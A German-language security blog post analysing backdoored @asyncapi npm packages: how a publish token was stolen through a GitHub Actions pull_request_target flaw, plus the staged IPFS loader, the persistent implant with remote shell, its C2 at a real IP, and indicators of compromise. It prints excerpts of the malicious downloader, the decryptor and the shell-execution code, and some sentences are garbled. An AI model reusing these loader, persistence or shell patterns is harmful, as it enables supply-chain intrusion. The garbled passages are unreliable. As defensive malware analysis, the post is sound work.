Aikido

AsyncAPI npm-Pakete, die über GitHub Actions mit Backdoors versehen wurden

Verfasst von
Raphael Silva

Wir haben fünf trojanisierte @asyncapi Pakete, die am 14.07.2026 veröffentlicht wurden. Der Angreifer stahl einen npm-Publish-Token, indem er eine pull_request_target Workflow-Schwachstelle im AsyncAPI-Generator-Repository ausnutzte und injizierte dann einen verschleierten Downloader in normale Laufzeitmodule über vier Pakete hinweg. Das Importieren eines der betroffenen Pakete ruft einen verschlüsselten Node.js-Loader von IPFS ab und schreibt ihn als sync.js, und startet ihn als abgetrennten Prozess.

Die Kette endet in einem persistenten Implantat mit einer echten Remote-Shell. Das Payload-Framework identifiziert sich selbst als M-RED-TEAM v6.4 in seinen eigenen Code-Kommentaren. Das Sammeln von Anmeldeinformationen und die Selbstausbreitung sind im Code vorhanden, aber in diesem Build deaktiviert. Die Shell ist ausreichend, damit der Operator Daten sammeln und beliebige Befehle ausführen kann, auch ohne diese Funktionen.

Die Pakete verzeichnen zusammen etwa 2,9 Millionen wöchentliche Downloads, wobei @asyncapi/specs allein etwa 2,7 Millionen ausmacht.

Wie der Angreifer Publish-Zugriff erhielt

Der asyncapi/generator Repository nutzte einen GitHub Actions Workflow mit einem pull_request_target Trigger. Dieser Trigger läuft mit Zugriff auf Repository-Secrets, selbst wenn der Workflow Code aus einem externen Pull Request auscheckt, eine bekannte Schwachstelle.

Ein Mitwirkender identifizierte die Schwachstelle und eröffnete am 17. Mai einen Fix-PR (#2092). Dieser war fast zwei Monate später, als der Angriff stattfand, immer noch nicht gemerged.

Am 14. Juli um 05:08 UTC eröffnete der Angreifer 37 Pull Requests gegen das Generator-Repository. Einer davon, PR #2155, enthielt obfuskiertes JavaScript, das den npm-Publish-Token an rentry[.]co. Der Workflow war um 05:16 UTC abgeschlossen. Mit dem Token in der Hand pushte der Angreifer bösartige Commits auf den next Branch um 06:58 UTC und veröffentlichte die ersten kompromittierten Pakete um 07:10 UTC. Anschließend wechselte er zu asyncapi/spec-json-schemas, pushte 11 Commits zwischen 07:51 und 08:28 UTC, um die Specs-Versionen zu veröffentlichen.

Zuordnung

Der Angriff umfasst drei überlappende Signale, die nicht alle auf denselben Ursprung hinweisen.

Die anfängliche Zugriffstechnik (eine PR-Flut, die auf einen pull_request_target Workflow mit einem rentry[.]co Dead-Drop) entspricht Mustern der prt-scan-Kampagne, die zuvor bei ähnlichen GitHub Actions Secret-Diebstahl-Angriffen beobachtet wurden.

Das Payload-Framework identifiziert sich selbst als M-RED-TEAM v6.4 in Code-Kommentaren der gesamten wiederhergestellten Stage-3-Quelle. Das ist die direkteste Bezeichnung, die der Code sich selbst gibt.

Die Artefakt-Namen und die Konfiguration verwenden Miasma-Branding: Das Build-Ziel ist miasma-train-p1, die Laufzeit-Lock- und Identitätspfade liegen unter ~/.config/.miasma/, Persistenz-Artefakte heißen miasma-monitor, und die Spawn-Zertifikate verwenden den Format-String miasma-spawn-cert-v1. früheren Miasma-Toolkit, obwohl ein SafeDep-Forscher feststellte, dass sich die Payloads unterscheiden: der frühere Build war Bun-basiert mit RSA/AES-CBC, aktiver Propagation und einem destruktiven Deadman; dieser ist Node-basiert mit secp256k1/AES-GCM, HTTP C2 und deaktivierten Funktionen.

Wir können anhand der Beweise nicht feststellen, ob der prt-scan-Initialzugriff und die M-RED-TEAM-Payload einen einzelnen Akteur oder separate Parteien repräsentieren. Das Miasma-Branding könnte Code-Wiederverwendung, Nachahmung oder absichtliche Falschbezeichnung widerspiegeln. Eine definitive Zuordnung wird hier nicht vorgenommen.

Fünf Laufzeitpakete trugen die erste Stufe

Die kompromittierten Releases:

  • @asyncapi/specs@6.11.2
  • @asyncapi/specs@6.11.2-alpha.1
  • @asyncapi/generator@3.3.1
  • @asyncapi/generator-helpers@1.1.1
  • @asyncapi/generator-components@0.7.1

Der bösartige Code befindet sich nicht in einem npm-Lifecycle-Hook. Er wurde in Module platziert, die während des normalen Betriebs ausgeführt werden: der specs Einstiegspunkt, ein generator Validator, ein Hilfsprogramm und ein Fehlerbehandlungsmodul für Komponenten. Die Payload wird ausgeführt, wenn das Modul geladen wird, daher ist ein einfaches require() ausreichend, um es auszulösen.

In @asyncapi/specs, wird der Downloader den tatsächlichen Schema-Exports vorangestellt:

import { spawn } from 'child_process';

// fs, path, https, os imported above

async function main() {
  try {
    const child = spawn(
      'node',
      [
        '-e',
        `/* obfuscated downloader, ~3 KB, elided */`,
      ],
      {
        detached: true,
        stdio: 'ignore',
        windowsHide: true,
      }
    );

    child.unref();
  } catch (error) {
    console.error(error.message);
  }
}

main();

module.exports = {
  schemas: {
    '2.0.0': require('./schemas/2.0.0.json'),
    // ...through 3.1.0
  },
};

Der Downloader läuft in einem losgelösten Child-Prozess. Nach dem Aufruf von child.unref(), beendet sich der Parent sofort und der Download wird im Hintergrund fortgesetzt.

Der node -e Payload ist verschleiert, aber seine String-Lookup-Tabelle enthält die IPFS-URL und den Drop-Dateinamen im Klartext:

// string table from the inline node -e script, verbatim from the shipped file['ignore','https','share','createWriteStream','finish','existsSync','darwin', 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf', '6768228QKjgXi','3468092lHTqJi','close','1488507nOBBnt','Library', '2677556fRqDUV','1716959EKWEaH','Local','get','NodeJS','win32','56qmWZQE', 'statusCode','join','error','node','path','10fFCDjZ','.local','10198524EzDDHO', 'child_process','mkdirSync','unlink','pipe','homedir','platform','unref','sync.js','6676191oFXVhK']

Der Specs-Branch ruft CID Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. Der Generator-Family-Branch ruft QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. Beide schreiben sync.js in ein benutzerspezifisches NodeJS-Datenverzeichnis: ~/Library/Application Support/NodeJS unter macOS, %LOCALAPPDATA%\NodeJS unter Windows, ~/.local/share/NodeJS unter Linux.

Stufe 2: verschlüsselte Loader von IPFS

Die beiden IPFS-Objekte sind verschleierte JavaScript-Loader: 8.243.380 Bytes (Specs) und 8.254.481 Bytes (Generator Family). Jeder leitet einen AES-256-GCM-Schlüssel über HKDF-SHA256 ab, entschlüsselt einen eingebetteten Vault, kehrt eine druckbare ASCII-Rotation um und evaluiert das Ergebnis. Wir haben die Logik in einen nicht-ausführenden Entschlüsseler extrahiert:

const _km = 'rt-file-key-material-v1';
const _mkb = Buffer.from(
  'rt-vault-master-key-32b-aaaaaaaa',
  'utf8'
); // 32 bytes

function gcmDecrypt(buf, key) {
  const iv = buf.slice(0, 12);
  const tag = buf.slice(buf.length - 16);
  const ct = buf.slice(12, buf.length - 16);

  const d = crypto.createDecipheriv('aes-256-gcm', key, iv);
  d.setAuthTag(tag);

  return Buffer.concat([d.update(ct), d.final()]);
}

// derive per-file key and decrypt stage-3 blob
const fileKey = crypto.hkdfSync(
  'sha256',
  Buffer.from(_km, 'utf8'),
  Buffer.alloc(0),
  Buffer.from('rt-file-key', 'utf8'),
  32
);

const rotSrc = gcmDecrypt(encryptedBlob, fileKey).toString('utf8');

// reverse the ASCII rotation
const ROT_MIN = 33;
const ROT_RANGE = 94;
const delta = (ROT_RANGE - (4 % ROT_RANGE)) % ROT_RANGE;

const stage3 = [...rotSrc]
  .map((ch) => {
    const c = ch.charCodeAt(0);

    return c >= ROT_MIN && c < ROT_MIN + ROT_RANGE
      ? String.fromCharCode(
          ROT_MIN + ((c - ROT_MIN + delta) % ROT_RANGE)
        )
      : ch;
  })
  .join('');

Die GCM-Authentifizierungstags sind für beide Builds gültig. Jeder Loader enthält auch ein sourceBundle Feld, das mit demselben Schlüssel verschlüsselt ist; es stimmt Byte für Byte mit der wiederhergestellten Stage-3-Datei überein. Die Baked Config verwendet einen separaten Schlüssel, der abgeleitet wird von rt-baked-key und denselben fest codierten Master.

Die beiden wiederhergestellten Stage-3-Dateien:

  • Specs-Build: 3.088.921 Bytes, SHA-256 f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b
  • Generator-Family-Build: 3.093.085 Bytes, SHA-256 9e214f38537e69bf51c7fa1ddd35ae495e9cb897231ec010baf9e4f29407ee9a

Der Generator-Family-Build fügt einen Verhaltensunterschied hinzu: einen Timer, der den primären C2 nach einem Failover erneut prüft und zurückschaltet, sobald dieser wiederhergestellt ist. Andere Unterschiede sind generierte Junk-Deklarationen.

Beide Builds enthalten eine secp256k1 Spawn-Chain mit zwei Zertifikaten. Beide Signaturen sind verifizierbar. Die Chain hindert diesen Seed nicht am Ausführen.

Irreführende Konfigurationsfelder

Frühe Berichte charakterisierten dies basierend auf den Werten der Konfigurationsfelder als einen „safe canary“. Die wiederhergestellte „baked config“:

{
  "config": {
    "safeMode": true,
    "c2Server": "http://85.137.53.71:8080",
    "shellBlacklist": ["killall"],
    "batch": { "defaultStrategy": "CANARY", "canaryPercent": 5 }
  },
  "target": { "name": "miasma-train-p1", "ecosystem": "npm" },
  "actualPersist": false,
  "testMode": false,
  "toggles": {
    "recon": false,
    "persist": true,
    "propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
    "evasion": false,
    "metamorphic": false
  }
}

Keiner der drei Feldwerte hält einer Call-Graph-Analyse stand:

  • safeMode: true: der Einstiegspunkt übergibt die Konfiguration direkt an die Boot-Funktion und ruft niemals den/die safeMode Validator.
  • actualPersist: false: die Boot-Funktion liest toggles.persist, nicht actualPersist. toggles.persist ist wahr. Die Persistenz läuft.
  • canaryPercent: 5: der BatchDispatch Befehl ist nicht implementiert und kein Pfad zur Opferauswahl liest dieses Feld. Es hat keine Auswirkung.

Was das Implantat tut

Beim ersten Start erzeugt die Payload ein secp256k1-Schlüsselpaar und speichert es in einem plattformspezifischen Pfad, getarnt als System-Cache-Datei. Es verwendet ~/.config/.miasma/run/node.lock um doppelte Instanzen zu verhindern.

Persistenz nach Plattform:

  • macOS: fügt einen nohup Block zu .zshrc, .bashrc, oder .bash_profile
  • Windows: schreibt HKCU Führen Sie Wert miasma-monitor
  • Linux: schreibt ~/.config/systemd/user/miasma-monitor.service und aktiviert sie. Die ExecStart verfügt über keinen Shell-Wrapper, sodass die Unit wahrscheinlich nicht startet, aber die Dateien werden geschrieben.

Das Implantat sendet Beacons an hxxp://85[.]137[.]53[.]71:8080 ungefähr alle 30 Sekunden. Beacons werden mit dem öffentlichen Schlüssel des Angreifers signiert und verschlüsselt. Selbst wenn recon deaktiviert ist, enthält jeder Beacon redigierte Vorschauen von PATH, HOME, Benutzer, und HOSTNAME, und prüft auf das Vorhandensein von Konfigurationsdateien von Cursor, Claude und VS Code unter /app.

Befehle werden normalerweise in einem verschlüsselten Umschlag übermittelt. Wenn kein verschlüsseltes Bundle vorhanden ist, greift der Handler auf ein Klartext- Befehle Array:

async dispatchResponseCommands(resp) {
  let commands = [];

  if (
    this.commandCipher &&
    resp.encryptedCommands &&
    resp.encryptedCommands.length > 0
  ) {
    for (const env of resp.encryptedCommands) {
      try {
        commands.push(this.commandCipher.decryptCommand(env));
      } catch (e) {
        this.sinkError(e);
      }
    }
  } else {
    // plaintext fallback, active when cipher absent
    commands = resp.commands;
  }

  for (const cmd of commands) {
    await this.handler(cmd);
  }
}

Da der C2 HTTP ist, kann ein On-Path-Angreifer Befehle über diesen Pfad einschleusen.

Befehl 11 (ShellExec) leitet die Anfrage an child_process.exec(). killall:

ShellExecutorImpl = class {
  constructor(cfg, runner) {
    this.blacklist = new Set(
      cfg.shellBlacklist
        .map(normalizeCmd)
        .filter((b) => b.length > 0)
    ); // shipped config: ["killall"]

    this.runner = runner ?? new ExecFileRunner();
  }

  async exec(req) {
    if (!this.isAllowed(req.command)) {
      return {
        exitCode: 126,
        stdout: '',
        stderr: '',
      }; // DENIED
    }

    // testMode is false in this seed, so the real shell runs
    return new Promise((resolve) => {
      import_node_child_process.exec(
        [req.command, ...req.args].join(' '),
        {
          cwd: req.cwd,
          timeout: timeoutMs,
          maxBuffer: 1 << 20,
          windowsHide: true,
        },
        (err, stdout, stderr) =>
          resolve({
            exitCode: err?.code ?? 0,
            stdout,
            stderr,
          })
      );
    });
  }
};

Dateibefehle (list, get, put) sind auf einen fest codierten . Der einzige auf der Blacklist stehende Befehl ist Pfad beschränkt. Der Löschbefehl ist nicht implementiert. Die Shell hat keine solche Einschränkung.

Payload-Updates stammen aus zwei Quellen: einem Operator-Befehl, der eine neue CID liefert, oder einer zweiminütigen Polling-Schleife, die Nostr und Ethereum auf eine höhere Version überprüft. Nostr-Updates sind signaturverifiziert. Ethereum-Einträge werden ohne Signaturprüfung akzeptiert (trustUnsignedBlockchain: true). Ein abgerufener Update wird als randomisierte .bin/.cache/.dat Datei auf die Festplatte geschrieben, mit Node gestartet und darf den aktuellen Prozess ersetzen.

Was im Code ist, aber nicht aktiv

Das Bundle enthält einen vollständigen Credential Harvester, der Cloud-Zugangsdaten, Paketmanager-Tokens, SSH-/GPG-Schlüssel, Shell-Historien, Browser, CI/CD-Systeme, AI-Entwickelnde-Tools, Datenbanken, Wallets, Container und Passwortmanager abdeckt. Es kann Gitleaks und HackBrowserData herunterladen, um die Sammlung zu unterstützen. Nichts davon läuft, weil toggles.recon false ist; der Harvester beendet sich, bevor er etwas sammelt. Die Shell kann dasselbe Ergebnis manuell erzielen.

Propagationsvektoren für npm, PyPI und Cargo sind vorhanden und implementiert. Alle Propagations-Toggles sind false, der einzige trySpread() Aufruf ist durch den persistenten Modus geschützt (der zurückkehrt, bevor er erreicht wird), und der Propagieren Befehl ist nicht implementiert. Es findet keine Ausbreitung statt.

Die Mutations-Engine, Evasion-Checks, AI-Tool-Poisoning und der Deadman-Switch sind alle deaktiviert. Die Wipe-Implementierung schreibt eine Marker-Datei nach ~/Documents/SIMULATION_WIPE_TRIGGERED.txt anstatt etwas zu löschen.

C2 und unterstützende Infrastruktur

HTTP auf Port 8080 ist der einzige echte Beacon- und Befehlskanal. Die anderen Protokolle haben engere Rollen:

  • Nostr: liefert Adress-Updates, signierte Payload-Update-Einträge und Peer-Multiadressen
  • Ethereum: bietet schreibgeschützte Service-Adress- und Update-Einträge
  • IPFS: hostet Payload-Objekte und verschlüsselte Daten
  • libp2p / BitTorrent DHT / mDNS: Peer-Erkennung und Gossip; kein Befehls- oder Beacon-Traffic

Mehrere generische Upload- und Befehlsmethoden auf den untergeordneten Transportschichten sind in diesem Build No-Ops.

Indikatoren für Kompromittierung

Pakete

PackageVersionSHA-256@asyncapi/specs6.11.29b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b@asyncapi/specs6.11.2-alpha.1d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7@asyncapi/generator3.3.1bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4@asyncapi/generator-helpers1.1.134014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1@asyncapi/generator-components0.7.1082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab

Netzwerk

  • C2: 85[.]137[.]53[.]71:8080, Upload: :8081, Proxy-Management: :8091
  • RIPE-Block 85.137.53.0/24, Objekt VSYS-AMS, AS43641
  • Ethereum-Vertrag 0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710, Chain-ID 1
  • Nostr-Relays: wss://relay.damus.io, wss://relay.nostr.com/
  • DHT-Bootstrap: router.bittorrent.com:6881, dht.transmissionbt.com:6881

Host

  • Ablegen: sync.js im NodeJS-Datenverzeichnis pro Benutzer (Pfade oben)
  • Sperre: ~/.config/.miasma/run/node.lock
  • macOS-Identität: ~/Library/Application Support/com.apple.spotlight/index-v2.cache
  • Linux-Identität: ~/.cache/mesa_shader_cache/gl_cache.bin
  • Windows-Identität: %HOME%\AppData\Roaming\Microsoft\CryptnetUrlCache\Content\msrt.dat
  • Linux-Persistenz: ~/.config/systemd/user/miasma-monitor.service
  • Windows Run-Wert: miasma-monitor

Krypto

  • Öffentlicher secp256k1-Schlüssel des Angreifers: 0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e

Was jetzt zu tun ist

Downgrade auf @asyncapi/specs@6.11.1, @asyncapi/generator@3.3.0, @asyncapi/generator-helpers@1.1.0, und @asyncapi/generator-components@0.7.0. Entfernen Sie die fünf kompromittierten Versionen aus Manifesten, Lockfiles, Caches, internen Mirrors und Build-Images. Suchen Sie nach Systemen, die importiert die betroffenen Module importiert haben, nicht nur nach Systemen, auf denen das Paket installiert wurde, da das Implantat auf require().

Auf jedem verdächtigen Host: Zuerst den flüchtigen Zustand isolieren und sichern. Suchen Sie nach den oben aufgeführten Drop-, Lock-, Identitäts- und Persistenzpfaden sowie nach ungewöhnlichen abgetrennten Node-Prozessen. Überprüfen Sie Verbindungen zu den C2-Ports und auf Node-Aktivitäten, die mit IPFS, Nostr, Ethereum RPC, DHT oder mDNS korrelieren.

Behandeln Sie Anmeldeinformationen, die auf einer betroffenen Maschine von Entwickelnden oder einem Build-Host verfügbar sind, als potenziell über Shell-Befehle offengelegt. Rotieren Sie npm-Tokens, Quellcodeverwaltungszugriffe, Cloud-Anmeldeinformationen, CI/CD-Secrets, SSH-Schlüssel, Signierschlüssel und Browser-Sitzungen von einer sauberen Maschine aus. Kompromittierte Hosts neu aufsetzen.

Der @asyncapi/specs@6.11.2-alpha.1 Der Tarball ist trotz fehlender Registry-Metadaten weiterhin über seine direkte URL herunterladbar. Er muss aus dem Backing Storage und dem CDN gelöscht werden.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Alle fünf kompromittierten Releases werden als kritisches 100/100-Problem angezeigt. Wenn Sie noch kein Konto haben, erstellen Sie eines und verbinden Sie Ihre Repos — die Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Aikido Device Protection bietet Ihnen Transparenz über die auf den Geräten Ihres Teams installierten Pakete, einschließlich Bibliotheken, IDE-Plugins und Build-Abhängigkeiten. Aikido Safe Chain (Open Source) integriert sich in Ihren bestehenden Workflow und prüft Pakete gegen Aikido Intel, bevor npm, yarn oder pnpm sie installieren.

Teilen:

https://www.aikido.dev/blog/asyncapi-npm-packages-backdoored-via-github-actions

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.